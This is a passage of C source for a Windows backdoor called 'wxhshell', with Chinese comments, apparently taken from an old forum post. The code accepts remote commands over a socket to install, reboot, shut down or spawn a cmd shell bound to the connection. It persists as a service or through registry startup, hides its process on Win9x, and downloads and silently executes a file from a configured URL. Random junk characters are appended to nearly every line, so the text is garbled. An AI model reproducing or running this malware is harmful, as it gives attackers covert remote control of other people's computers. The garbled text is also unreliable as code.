  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Q!>8E4Z  
  } ih1s`CjG  
  else { B\bIMjXV  
{: EQ  
    switch(cmd[0]) { 9;;1 "^4/  
  Yg%V  
  // 帮助 6YT*=\KT  
  case '?': { &G55<tRE  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); & Qghm o  
    break; 57+^T}/>  
  } ?,|_<'$4T  
  // 安装 6X5m1+ Oi^  
  case 'i': { De|@}@  
    if(Install()) Pp N+q:(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); WT(R =bLw  
    else ox {Cm  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); xtU)3I=F%  
    break; :i*JlKHJ d  
    } cd}TDd(H%  
  // 卸载 V]}/e!XK\  
  case 'r': { #UU}lG  
    if(Uninstall()) >'^l>FPc  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); X%,;IW]a  
    else URR| Q!D  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,=>O/!s  
    break; `(.ue8T  
    } qd3B>f  
  // 显示 wxhshell 所在路径 2!dIW5I  
  case 'p': { UR-e'Z&]  
    char svExeFile[MAX_PATH]; u ` 9Eh;  
    strcpy(svExeFile,"\n\r"); D4[5}NYU  
      strcat(svExeFile,ExeFile); ~C=`yj  
        send(wsh,svExeFile,strlen(svExeFile),0); ~;m~)D  
    break; W5:S+  
    } _?Jm.nT  
  // 重启 !0`ZK-nA6  
  case 'b': { NLb/Bja  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); D'O[0?N"g  
    if(Boot(REBOOT)) z[qM2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); k` (_~/#  
    else { c<JJuG  
    closesocket(wsh); ycw'>W3.*  
    ExitThread(0); Re<X~j5]  
    } *Gu Cv3|  
    break; ~2A<fL,-  
    } KUH&_yCRB  
  // 关机 +cy(}Vp  
  case 'd': { h.'h L  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); xKsn);].`  
    if(Boot(SHUTDOWN)) X?rJO~5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); XrSqU D  
    else { oB9Fas!N  
    closesocket(wsh); !9iVe7V  
    ExitThread(0); ,`+y4Z6`W2  
    } \"Sqr(~_  
    break; 5 +(YcV("  
    } v-G(bw3  
  // 获取shell X+ iA"B  
  case 's': { f$V']dOj1q  
    CmdShell(wsh); {br4B7b  
    closesocket(wsh); =]W{u`   
    ExitThread(0); 5bmtUIj  
    break; )IZ$R*Y{  
  } # FaR?L![Y  
  // 退出 H3OH  
  case 'x': { Kt}dTpVFr  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); pJ_Z[}d)c  
    CloseIt(wsh); 4B]8Mp~\aL  
    break; #C%<g:F8  
    } o/)\Q>IY  
  // 离开 (a7IxW  
  case 'q': { w #(XiH*  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); '{( n1es  
    closesocket(wsh); m U7Ad"  
    WSACleanup(); "c\T  
    exit(1); HEe0dqG  
    break; Hg(\EEe  
        } *+p'CfsSka  
  } d2X#_(+d  
  } V=(4 c  
 ]g?G 0m  
  // 提示信息 _IpW &  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); wV56LW  
} B0Z*YsbXL  
  } L4kYF~G:4  
r="X\ [on  
  return; 5+3Z?|b  
} ?wwY8e?S  
fXL>L   
// shell模块句柄 l@#X]3h!  
int CmdShell(SOCKET sock) NJl|/(]v  
{ :^iR&`2~  
STARTUPINFO si; O gHWmb  
ZeroMemory(&si,sizeof(si)); d\Dxmb]o  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; &5d>jEaB}  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; H`@x5RjS   
PROCESS_INFORMATION ProcessInfo; miN(a; Q2P  
char cmdline[]="cmd"; i@B5B2  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Za}91z"  
  return 0; TS3 00F  
} E?08=$^5%  
uvA}7L{UO  
// 自身启动模式 8KoPaq   
int StartFromService(void)  KQW  
{ iv;;GW{2  
typedef struct $/wr?  
{ `hH1rw@7<  
  DWORD ExitStatus; 'inWV* P*g  
  DWORD PebBaseAddress; I/^Lr_\  
  DWORD AffinityMask; ?'_iqg3  
  DWORD BasePriority; N pRC3^  
  ULONG UniqueProcessId; L7Skn-*tnA  
  ULONG InheritedFromUniqueProcessId; 'w9tZO\2  
}   PROCESS_BASIC_INFORMATION; ',1rW  
xOu cZ+  
PROCNTQSIP NtQueryInformationProcess; 89 (k<m  
5gJQr%pS  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; SH}O?d\Q:  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; yobi$mnsy!  
2EE#60  
  HANDLE             hProcess; iwmXgsRa9}  
  PROCESS_BASIC_INFORMATION pbi; :EA,0 ,  
OB$A"XGAEV  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); tU)+q?Mw  
  if(NULL == hInst ) return 0; [9+M/O|Vs  
4L5Wa~5\  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 6'wP?=  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); m&ZdtB|  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); }){hQt7  
 ;\iQZ~   
  if (!NtQueryInformationProcess) return 0; lXz<jt@5  
cIgFSwQ 4  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); jJ?3z ,h  
  if(!hProcess) return 0; LQ{4r1,u]  
+JQN=nTA  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; $fh?(J  
N$=<6eQm  
  CloseHandle(hProcess); 6s|C:1](b  
O9>/ WmLe  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); CF>NyY:_  
if(hProcess==NULL) return 0; iWtWT1n8n  
l{y~N  
HMODULE hMod; %|,j'V$  
char procName[255]; oEi +S)_  
unsigned long cbNeeded; m X2Qf8  
;2X1qw>  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); xSLN  
wL%>  
  CloseHandle(hProcess); 8o4 vA,  
v.Q)Obyn  
if(strstr(procName,"services")) return 1; // 以服务启动 TAGqRYgi  
&_-~kU1K^  
  return 0; // 注册表启动 1P[!B[;c  
} 4s$))x9p  
da 2BQ;  
// 主模块 !A<?nz Uv  
int StartWxhshell(LPSTR lpCmdLine) ;#j/F]xG  
{ Y}Qu-fm  
  SOCKET wsl; }S42.f.p  
BOOL val=TRUE; 7v\OS-  
  int port=0; khEHMvVH  
  struct sockaddr_in door; h<uRlTk  
]AfeaU'>  
  if(wscfg.ws_autoins) Install(); %Y!lEzB5  
lFRgyEPH  
port=atoi(lpCmdLine); k'u2a  
#U6Wv1H{Lp  
if(port<=0) port=wscfg.ws_port; ;>Kxl}+R  
*.~M#M 9c  
  WSADATA data; :z^c<KFX  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; |:EUh  
2=U4'C4#  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   CP={|]>+S  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); n7Re@'N<  
  door.sin_family = AF_INET; &Wn!W  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); @h$7C<  
  door.sin_port = htons(port); US Q{o  
& d~6MSk  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { @s@r5uR9B  
closesocket(wsl); UDxfS4yI  
return 1; Pu}2%P)p  
} `[`eg<xj  
b9"Q.*c<Z^  
  if(listen(wsl,2) == INVALID_SOCKET) { ?N`W,  
closesocket(wsl); X+hyUz(%R  
return 1; WMYvE\"  
} LdRLKE<'e  
  Wxhshell(wsl); N b+zP[C  
  WSACleanup(); G:A` n;E0  
ZgzrA&6  
return 0; PY) 74sa  
GV%ibqOpQj  
} %)]{*#N4  
Z}XA (;ck  
// 以NT服务方式启动 `qUmOFl  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) J/)Q{*`_  
{ SVeL c  
DWORD   status = 0; ZfIQ Fh>  
  DWORD   specificError = 0xfffffff; ;[%AeN5W  
R{Cj]:Ky  
  serviceStatus.dwServiceType     = SERVICE_WIN32; c!6.D  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 6&h,eQ!  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; B(E+2;!QF  
  serviceStatus.dwWin32ExitCode     = 0; _jP]ifu`  
  serviceStatus.dwServiceSpecificExitCode = 0; _W&.{ 7  
  serviceStatus.dwCheckPoint       = 0; $,bLb5}Qu  
  serviceStatus.dwWaitHint       = 0; !WAbO(l  
9D-PmSnv  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 'Kc;~a  
  if (hServiceStatusHandle==0) return; @_0XK)pW  
|"\A5v|1  
status = GetLastError(); 7)<&,BWc  
  if (status!=NO_ERROR) _?mu2!X  
{ n{=vP`V_  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 3-z57f,}6~  
    serviceStatus.dwCheckPoint       = 0; Fb.wm   
    serviceStatus.dwWaitHint       = 0; KN_3]-+B  
    serviceStatus.dwWin32ExitCode     = status; 0<nk>o  
    serviceStatus.dwServiceSpecificExitCode = specificError; ?3"lI,!0  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5_0Eh!sx  
    return; REc69Y.k  
  } S0du, A~  
-I '#G D>  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 8)/d8@  
  serviceStatus.dwCheckPoint       = 0; RQ!kVM@  
  serviceStatus.dwWaitHint       = 0; <U$x')W  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); N-y[2]J90  
} ={B%qq  
F7x]BeTM  
// 处理NT服务事件,比如:启动、停止 ]]V|[g&aJ  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ^e1@o\]  
{ Z<@0~t_:?p  
switch(fdwControl) )pbsvR_  
{ o7;lR?  
case SERVICE_CONTROL_STOP: ^|hlY ]Ev  
  serviceStatus.dwWin32ExitCode = 0;  6g576  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; T]HeS(  
  serviceStatus.dwCheckPoint   = 0; l1l=52r   
  serviceStatus.dwWaitHint     = 0; _ VKBzOH  
  { -U.>K,M  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); i}[cq_wJ  
  } UQ c!"D  
  return; u0zF::  
case SERVICE_CONTROL_PAUSE: qILb>#  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Gh>&+UA'$1  
  break; -Aaim`06bv  
case SERVICE_CONTROL_CONTINUE: _wH>h$E  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; WPI<SsLd  
  break; iO+,U}&  
case SERVICE_CONTROL_INTERROGATE: %D1 |0v8}  
  break; WX6}@mS.  
}; )0+6^[Tqq  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4a}[&zm(5  
} p>_Qns7W  
0v+ -yEkw  
// 标准应用程序主函数 2[j(C  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) % b fe_k(  
{ ZP{<f~;  
DK)T2{:  
// 获取操作系统版本 5(>SFxz"t  
OsIsNt=GetOsVer(); ]-8WM5\qJM  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ;NU-\<Q{  
h4Wt oE>i  
  // 从命令行安装 50_[n$tqE  
  if(strpbrk(lpCmdLine,"iI")) Install(); @<NuuYQ&  
NNt  n  
  // 下载执行文件 E75/EQ5p]p  
if(wscfg.ws_downexe) { Y<L35 ?  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) <qg4Rz\c]  
  WinExec(wscfg.ws_filenam,SW_HIDE); *5IB@^<  
} Hz\@#   
B*Q9g r  
if(!OsIsNt) { u 3^pQ6Q  
// 如果时win9x,隐藏进程并且设置为注册表启动 *Nm$b+  
HideProc(); >-w(P/  
StartWxhshell(lpCmdLine); N=AHS  
} vJLGy]  
else j$K*R."  
  if(StartFromService()) w A\5-C7 j  
  // 以服务方式启动 wBcoh~ (y  
  StartServiceCtrlDispatcher(DispatchTable); |BbzRis  
else +D@5zq:5  
  // 普通方式启动 q.p.$)  
  StartWxhshell(lpCmdLine); D"J',YN$  
*,mI=1  
return 0; S=(<m%f  
}
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只看该作者 1 发表于: 2006-10-10
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